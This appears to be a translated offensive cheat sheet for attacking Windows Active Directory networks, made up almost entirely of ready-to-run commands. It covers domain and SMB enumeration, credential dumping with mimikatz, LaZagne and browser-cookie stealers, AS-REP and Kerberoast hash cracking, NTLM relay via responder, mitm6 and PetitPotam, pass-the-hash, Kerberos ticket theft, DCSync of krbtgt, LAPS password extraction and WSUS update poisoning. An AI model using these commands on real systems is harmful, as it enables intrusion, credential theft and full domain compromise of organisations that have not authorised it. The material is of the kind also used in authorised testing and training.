1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57

1. User list  net user /domain
Windows user list: analyze email users; internal [domain] email users are usually internal [domain] users

2. Process list  tasklist /svc
Analyze antivirus/security monitoring tools, email clients, VPN, FTP, etc.

3. Service list	tasklist /svc
Security-related services [determine whether they can be manually enabled or disabled] and vulnerable services [permissions/vulnerabilities]

4. Port list	netstat -ano
Common services/applications on open ports [anonymous access/permissions/vulnerabilities, etc.]; use ports for information gathering

5. Patch list	systeminfo
Analyze Windows patches and vulnerabilities in third-party software [Java/Oracle/Flash, etc.]

6. Local shares	smbclient -L ip
		   net user \\ip\c$
Local share list/access permissions and domain shares accessed by the local host/access permissions

7. Analyze the current user's habits
History, favorites, documents, etc.

8. Obtain the current user's password
Windows
mimikatz
Invoke-WCMDump
mimiDbg
LaZagne
NirLauncher )
quarkspwdump
Linux
mimipenguin
LaZagne
Browsers
HackBrowserData
SharpWeb
SharpDPAPI
360SafeBrowsergetpass
BrowserGhost
Browser-cookie-steal (steal browser cookies)

Navicat passwords
Versions: Navicat 11 or 12

Method: https://blog.csdn.net/CCESARE/article/details/104746596

Decryption script: https://github.com/tianhe1986/FatSmallTools

https://github.com/HyperSine/how-does-navicat-encrypt-password

Xshell and Xftp passwords
https://github.com/dzxs/Xdecrypt

mRemoteNG passwords
https://github.com/kmahyyg/mremoteng-decrypt

https://github.com/haseebT/mRemoteNG-Decrypt

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44

Common port scanning tools
nmap
masscan
zmap
S Scanner
Custom scripts
nc
……
Internal network topology analysis
DMZ
Management network
Production network
Test network
Common information-gathering commands

# ipconfig
ipconfig /all ------> Query the local IP range, domain, etc.

# net
net user ------> List local users
net localgroup administrators ------> List local administrators [usually includes domain users]
net user /domain ------> Query domain users
net group /domain ------> Query groups in the domain
net group "domain admins" /domain ------> Query the Domain Admins group
net localgroup administrators /domain ------> List domain administrators logged on to the local host
net localgroup administrators workgroup\user001 /add -----> Add a domain user to the local host net group "Domain controllers" -------> List domain controllers (if there are multiple)
net view ------> List machines in the same domain net view /domain ------> List domains
net view /domain:domainname

# dsquery
dsquery computer domainroot -limit 65535 && net group "domain
computers" /domain ------> List all machine names in the domain
dsquery computer ------> List machine names
dsquery user domainroot -limit 65535 && net user /domain------> List all usernames in the domain
dsquery subnet ------> List subnet divisions in the domain
dsquery group && net group /domain ------> List groups in the domain
dsquery ou ------> List organizational units in the domain
dsquery server && net time /domain------> List domain controllers in the domain

Third-party information gathering
NETBIOS information gathering
SMB information gathering
Null-session information gathering
Vulnerability information gathering, etc.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12

# Create a local account
net user /add jerry 123456
# Create a domain user from a domain member (administrator privileges required)
net user /add jerry 123456 /domain
# Create a domain member on the domain controller
net user /add jerry 123456

After joining the domain, many functions are restricted for standard accounts. The administrator is the domain controller administrator, making many operations difficult.
net localgroup administrators test\jerry /add
This can elevate user jerry in the test domain to local administrator privileges.
Because UAC prevents local administrator privileges from taking effect immediately, sign out and log back in.
When running a local command that requires administrator privileges, select Yes or No at the prompt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11

enum4linux -a -u "" -p "" <dc-ip> && enum4linux -a -u "guest" -p "" <dc-ip>
smbmap -u "" -p "" -P 445 -H <dc-ip> && smbmap -u "guest" -p "" -P 445 -H <dc-ip>
smbclient -U '%' -L //<dc-ip> && smbclient -U 'guest%' -L //<dc-ip>
cme smb <ip> -u '' -p '' # Enumerate SMB shares accessible through a null session
cme smb <ip> -u 'a' -p '' # Enumerate anonymously accessible SMB shares

enum4linux -a -u "" -p "" 192.168.139.153 && enum4linux -a -u "guest" -p "" 192.168.139.153
smbmap -u "" -p "" -P 445 -H 192.168.139.153 && smbmap -u "guest" -p "" -P 445 -H 192.168.139.153
smbclient -U '%' -L //192.168.139.153 && smbclient -U 'guest%' -L //192.168.139.153
crackmapexec smb 192.168.139.153 -u '' -p ''
crackmapexec smb 192.168.139.153 -u 'a' -p ''

1
2
3
4
5

nmap -n -sV --script "ldap* and not brute" -p 389 <dc-ip>
ldapsearch -x -H <ip> -s base
ldapsearch -x -H ldap://10.10.10.161:389 -s base
ldapsearch -x -H ldap://10.10.10.161:389 -b dc=test,dc=local
ldapsearch -H ldap://10.10.10.161:389 -x  -b dc=htb,dc=local "(objectClass=person)" "*" +

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11

enum4linux -U <dc-ip> | grep 'user:'
crackmapexec smb <ip> -u <user> -p '<password>' --users
nmap -p 88 --script=krb5-enum-users --script-args="krb5-enum-users.realm='<domain>',userdb=<users_list_file>" <ip>
OSINT - Find usernames on the internet

# Newly recorded
kerbrute  userenum -d hokkaido-aerospace.com --dc 192.168.208.40 /usr/share/wordlists/SecLists/Usernames/xato-net-10-million-usernames.txt -t 100

/usr/share/wordlists/SecLists-master/Usernames/xato-net-10-million-usernames.txt
/usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt
/usr/share/seclists/Usernames/xato-net-10-million-usernames.txt

1
2
3
4
5

Retrieve the domain password policy:
crackmapexec <IP> -u 'user' -p 'password' --pass-pol
enum4linx -u 'username' -p 'password' -P <IP>
cme smb <dc-ip> -u user.txt -p password.txt --no-bruteforce # Do not brute-force; test only matching user=password pairs
cme smb <dc-ip> -u user.txt -p password.txt # Test all combinations; too many failures may trigger lockout depending on the password policy

1
2
3
4
5

python GetNPUsers.py <domain>/ -usersfile <usernames.txt> -format hashcat -outputfile <hashes.domain.txt>
Rubeus asreproast /format:hashcat

GetNPUsers.py intelligence.htb/ -usersfile user.txt -no-pass -dc-ip 10.10.10.248
GetNPUsers.py -no-pass -dc-ip 10.10.10.248 intelligence.htb/Jose.Williams

1
2
3

GetNPUsers.py domain.com/ -usersfile users.txt -format hashcat
Get-DomainUser -PreauthNotRequired -Properties SamAccountName
MATCH (u:User {dontreqpreauth:true}), (c:Computer), p=shortestPath((u)-[*1..]->(c)) RETURN p

1

GetADUsers.py -all -dc-ip <dc_ip> <domain>/<username>

1

cme smb <ip> -u <user> -p <password> --shares

1
2
3

bloodhound-python -d <domain> -u <user> -p <password> -gc <dc> -c all
bloodhound-python -d oscp.exam -u web_svc -p Diamond1 -gc DC01.oscp.exam -ns 10.10.132.140 -c all
bloodhound-python -d oscp.exam -u web_svc -p Diamond1 -gc DC01.oscp.exam -ns 10.10.132.140 --zip -c all

1
2

dnstool.py -u 'DOMAIN\user' -p 'password' --record '*' --action query <dc_ip>
python3 dnstool.py  -u 'intelligence.htb\Tiffany.Molina' -p 'NewIntelligenceCorpUser9876' -r webtestaa.intelligence.htb -a add -t A -d 10.10.16.14 10.10.10.248

1
2
3

nmap -Pn -sS -T4 --open --script smb-security-mode -p445 ADDRESS/MASK
use exploit/windows/smb/smb_relay
cme smb $hosts --gen-relay-list relay.txt

1

PetitPotam.py  -d <domain> <listener_ip> <target_ip>

1
2

responder -i eth0
mitm6 -d <domain>

1
2
3
4
5

use exploit/windows/smb/smb_relay 	# Commonly used for Windows 2003 / Windows Server 2008

responder -I eth0 # Remember to disable the local SMB and HTTP services first

ntlmrelayx.py -tf targets.txt

1
2
3
4
5
6
7

ntlmrelayx.py -6 -wh <attacker_ip> -l /tmp -socks -debug

ntlmrelayx.py -6 -wh <attacker_ip> -t smb://<target> -l /tmp -socks -debug

ntlmrelayx.py -t ldaps://<dc_ip> -wh <attacker_ip> --delegate-access

getST.py -spn cifs/<target> <domain>/<netbios_name>\$ -impersonate <user>

1
2
3

ntlmrelayx.py -t http://<dc_ip>/certsrv/certfnsh.asp -debug -smb2support --adcs --template DomainController

Rubeus.exe asktgt /user:<user> /certificate:<base64-certificate> /ptt

1
2
3

john --format=lm hash.txt

hashcat -m 3000 -a 3 hash.txt

1
2
3

john --format=nt hash.txt

hashcat -m 1000 -a 3 hash.txt

1
2
3

john --format=netntlm hash.txt

hashcat -m 5500 -a 3 hash.txt

1
2
3

john --format=netntlmv2 hash.txt

hashcat -m 5600 -a 0 hash.txt rockyou.txt

1
2
3

john spn.txt --format=krb5tgs --wordlist=rockyou.txt

hashcat -m 13100 -a 0 spn.txt rockyou.txt

1

hashcat -m 18200 -a 0 AS-REP_roast-hashes rockyou.txt

1
2
3
4
5
6
7
8
9

psexec.py -hashes ":<hash>" <user>@<ip>

wmiexec.py -hashes ":<hash>" <user>@<ip>

atexec.py -hashes ":<hash>" <user>@<ip> "command"

evil-winrm -i <ip>/<domain> -u <user> -H <hash>

xfreerdp /u:<user> /d:<domain> /pth:<hash> /v:<ip>

1
2
3
4
5
6
7
8

python getTGT.py <domain>/<user> -hashes :<hashes>
export KRB5CCNAME=/root/impacket-examples/domain_ticket.ccache
python psexec.py <domain>/<user>@<ip> -k -no-pass

Rubeus asktgt /user:victim /rc4:<rc4value>
Rubeus ptt /ticket:<ticket>
Rubeus createnetonly /program:C:\Windows\System32\[cmd.exe||upnpcont.exe]
Rubeus ptt /luid:0xdeadbeef /ticket:<ticket>

1
2
3
4
5

privilege::debug sekurlsa::tickets /export sekurlsa::tickets /export

Rubeus dump /service:krbtgt /nowrap

Rubeus dump /luid:0xdeadbeef /nowrap

1
2
3
4
5
6
7

Get-NetComputer -Unconstrained

Get-DomainComputer -Unconstrained -Properties DnsHostName

MATCH (c:Computer {unconstraineddelegation:true}) RETURN c

MATCH (u:User {owned:true}), (c:Computer {unconstraineddelegation:true}), p=shortestPath((u)-[*1..]->(c)) RETURN p

1
2
3
4
5

privilege::debug sekurlsa::tickets /export sekurlsa::tickets /

Rubeus dump /service:krbtgt /nowrap

Rubeus dump /luid:0xdeadbeef /nowrap

1
2
3
4
5

Get-DomainComputer -TrustedToAuth -Properties DnsHostName, MSDS-AllowedToDelegateTo

MATCH (c:Computer), (t:Computer), p=((c)-[:AllowedToDelegate]->(t)) RETURN p

MATCH (u:User {owned:true}), (c:Computer {name: "<MYTARGET.FQDN>"}), p=shortestPath((u)-[*1..]->(c)) RETURN p

1

lsadump::dcsync /domain:htb.local /user:krbtgt # Any account in Administrators, Domain Admins, or Enterprise Admins works

1
2

rpcdump.py <domain>/<user>:<password>@<domain_server> | grep MS-RPRN
printerbug.py '<domain>/<username>:<password>'@<Printer IP> <RESPONDERIP>

 1
 2
 3
 4
 5
 6
 7
 8
 9
10

GenericAll on User
GenericAll on Group
GenericAll / GenericWrite / Write on Computer
WriteProperty on Group
Self (Self-Membership) on Group
WriteProperty (Self-Membership)
ForceChangePassword
WriteOwner on Group
GenericWrite on User
WriteDACL + WriteOwner

1
2
3

Get-LAPSPasswords -DomainController <ip_dc> -Credential <domain>\<login> | Format-Table -AutoSize

foreach ($objResult in $colResults){$objComputer = $objResult.Properties; $objComputer.name|where {$objcomputer.name -ne $env:computername}|%{foreach-object {Get-AdmPwdPassword -ComputerName $_}}}

1
2
3

python privexchange.py -ah <attacker_host_or_ip> <exchange_host> -u <user> -d <domain> -p <password>

ntlmrelayx.py -t ldap://<dc_fqdn>--escalate-user <user>

1
2
3
4
5
6
7

1. Inject a malicious program update into the WSUS server database		WSUSpendu.ps1 # The WSUS update distribution server must be compromised first

2.MSSQL Trusted Links			use exploit/windows/mssql/mssql_linkcrawler

3.GPO Delegation

4.ADCS